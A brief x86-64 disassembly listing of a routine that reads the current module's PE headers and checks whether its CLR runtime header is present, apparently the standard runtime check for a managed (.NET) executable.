call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1400174da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400174da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400174da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400174da
cmp dword [rcx + 0x84], 0xe
jbe 0x1400174da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400174dc
xor al, al
add rsp, 0x28
ret